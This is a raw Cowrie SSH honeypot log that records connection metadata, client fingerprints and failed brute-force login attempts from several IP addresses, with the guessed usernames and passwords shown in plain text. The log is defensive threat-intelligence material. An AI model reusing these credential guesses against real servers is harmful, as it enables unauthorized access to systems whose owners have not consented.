{"eventid":"cowrie.login.failed","username":"sa_mia","password":"sam1@01","message":"login attempt [sa_mia/sam1@01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:23.104715Z","src_ip":"103.15.226.202","session":"2234f6d7e335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:24.352572Z","src_ip":"103.15.226.202","session":"2234f6d7e335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shangbuqi.","message":"login attempt [root/shangbuqi.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:29.957736Z","src_ip":"213.209.159.158","session":"0b4ef7916a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:33.554997Z","src_ip":"213.209.159.158","session":"0b4ef7916a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21032,"dst_ip":"10.17.0.5","dst_port":22,"session":"2483b32b41b9","protocol":"ssh","message":"New connection: 213.209.159.158:21032 (10.17.0.5:22) [session: 2483b32b41b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:33.644717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:35.932627Z","src_ip":"213.209.159.158","session":"2483b32b41b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:35.936483Z","src_ip":"213.209.159.158","session":"2483b32b41b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simply","message":"login attempt [root/simply] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:46.001274Z","src_ip":"213.209.159.158","session":"2483b32b41b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:49.287741Z","src_ip":"213.209.159.158","session":"2483b32b41b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":46636,"dst_ip":"10.17.0.5","dst_port":22,"session":"84bd1a6e4d65","protocol":"ssh","message":"New connection: 213.209.159.158:46636 (10.17.0.5:22) [session: 84bd1a6e4d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:49.410486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:52.189538Z","src_ip":"213.209.159.158","session":"84bd1a6e4d65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:52.193819Z","src_ip":"213.209.159.158","session":"84bd1a6e4d65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shaina1","message":"login attempt [root/shaina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:01.795417Z","src_ip":"213.209.159.158","session":"84bd1a6e4d65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:05.396381Z","src_ip":"213.209.159.158","session":"84bd1a6e4d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":43830,"dst_ip":"10.17.0.5","dst_port":22,"session":"210392302b3b","protocol":"ssh","message":"New connection: 213.209.159.158:43830 (10.17.0.5:22) [session: 210392302b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:05.475885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:07.697477Z","src_ip":"213.209.159.158","session":"210392302b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:07.701774Z","src_ip":"213.209.159.158","session":"210392302b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Servidor","message":"login attempt [root/Servidor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:17.573814Z","src_ip":"213.209.159.158","session":"210392302b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:21.334552Z","src_ip":"213.209.159.158","session":"210392302b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":46610,"dst_ip":"10.17.0.5","dst_port":22,"session":"486034fee32e","protocol":"ssh","message":"New connection: 213.209.159.158:46610 (10.17.0.5:22) [session: 486034fee32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:21.424404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:23.578817Z","src_ip":"213.209.159.158","session":"486034fee32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:23.582787Z","src_ip":"213.209.159.158","session":"486034fee32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shadow11","message":"login attempt [root/shadow11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:33.823641Z","src_ip":"213.209.159.158","session":"486034fee32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48356,"dst_ip":"10.17.0.5","dst_port":22,"session":"35eca2cfd7b6","protocol":"ssh","message":"New connection: 2.57.122.208:48356 (10.17.0.5:22) [session: 35eca2cfd7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:36.835296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:36.925833Z","src_ip":"2.57.122.208","session":"35eca2cfd7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:37.026044Z","src_ip":"2.57.122.208","session":"35eca2cfd7b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:37.051487Z","src_ip":"213.209.159.158","session":"486034fee32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":36124,"dst_ip":"10.17.0.5","dst_port":22,"session":"f94de2b4f63b","protocol":"ssh","message":"New connection: 213.209.159.158:36124 (10.17.0.5:22) [session: f94de2b4f63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:37.193307Z"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:37.929960Z","src_ip":"2.57.122.208","session":"35eca2cfd7b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:39.124733Z","src_ip":"2.57.122.208","session":"35eca2cfd7b6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:39.405207Z","src_ip":"213.209.159.158","session":"f94de2b4f63b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:39.408872Z","src_ip":"213.209.159.158","session":"f94de2b4f63b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shangbuqi","message":"login attempt [root/shangbuqi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:49.497352Z","src_ip":"213.209.159.158","session":"f94de2b4f63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:52.842050Z","src_ip":"213.209.159.158","session":"f94de2b4f63b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6304,"dst_ip":"10.17.0.5","dst_port":22,"session":"76950e5670bc","protocol":"ssh","message":"New connection: 213.209.159.158:6304 (10.17.0.5:22) [session: 76950e5670bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:52.939396Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":36104,"dst_ip":"159.203.135.109","dst_port":22,"session":"7631e818a865","protocol":"ssh","message":"New connection: 27.79.44.54:36104 (159.203.135.109:22) [session: 7631e818a865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:54.832365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:54.891661Z","src_ip":"27.79.44.54","session":"7631e818a865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:55.126126Z","src_ip":"27.79.44.54","session":"7631e818a865","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:55.592862Z","src_ip":"213.209.159.158","session":"76950e5670bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:20:55.597555Z","src_ip":"213.209.159.158","session":"76950e5670bc","protocol":"ssh"}
